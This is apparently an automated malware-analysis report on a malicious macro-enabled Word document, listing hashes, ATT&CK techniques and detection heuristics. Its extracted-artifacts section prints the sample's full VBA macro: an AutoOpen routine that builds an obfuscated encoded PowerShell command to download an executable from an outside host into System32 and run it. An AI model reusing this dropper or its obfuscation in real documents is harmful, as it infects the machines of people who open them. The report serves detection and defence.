Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 66882db537a3166f…

MALICIOUS

Office (OOXML)

100.1 KB Created: 2021-06-28 09:00:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: 1355afb0319109758b550fda34c867e8 SHA-1: 69ec1aaabf720f4df63f94efd9eaca0aa839dcc1 SHA-256: 66882db537a3166f60b45f65a56705d5e838b750cb45a0a54a0645d3793b572a
152 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is designed to execute a PowerShell command that downloads a second-stage executable from a specific URL and saves it to the system directory. This is a common technique for delivering further malware payloads.

Heuristics 7

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (vara + varb + varc + vard + vare)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Related samples 1

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1091 bytes
SHA-256: c8b697728215049e92dbbd2f6367aaaff017c236399839110a330e513bfab9f8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
vara = "cm"
varb = "d /c"
varc = "powershel"
vard = "l -enc"
vare = "odedcommand aQB3AHIAIAAtAHUAcgBpACAAaAB0AHQAcABzADoALwAvAG4AYQB0AGkAbwBuAGEAbABjAG8AbABsAGUAZwBlAC4AZQBkAHUALgBuAHAALwBhAGQAbQBpAG4ALwBhAHMAcwBlAHQAcwAvAGoAcwAvAGoAcQB1AGUAcgB5AC8AdABpAG4AeQAvAHAAbAB1AGcAaQBuAHMALwBhAG4AYwBoAG8AcgAvAC4AYQBuAGMAaABvAHIALwBzAHkAcwBXAG8AdwA2ADQALQBlADEALgBlAHgAZQAgAC0AbwB1AHQAZgBpAGwAZQAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAHMAcABvAG8AbABcAGQAcgBpAHYAZQByAHMAXABjAG8AbABvAHIAXABzAHkAcwBXAG8AdwA2ADQALQBlADEALgBlAHgAZQAiADsAIABDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAcwBwAG8AbwBsAFwAZAByAGkAdgBlAHIAcwBcAGMAbwBsAG8AcgBcAHMAeQBzAFcAbwB3ADYANAAtAGUAMQAuAGUAeABlAA=="
Shell (vara + varb + varc + vard + vare)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 521d5d2798ce266105bd83822ec390200327289b05786bf2d0842cb0c811993d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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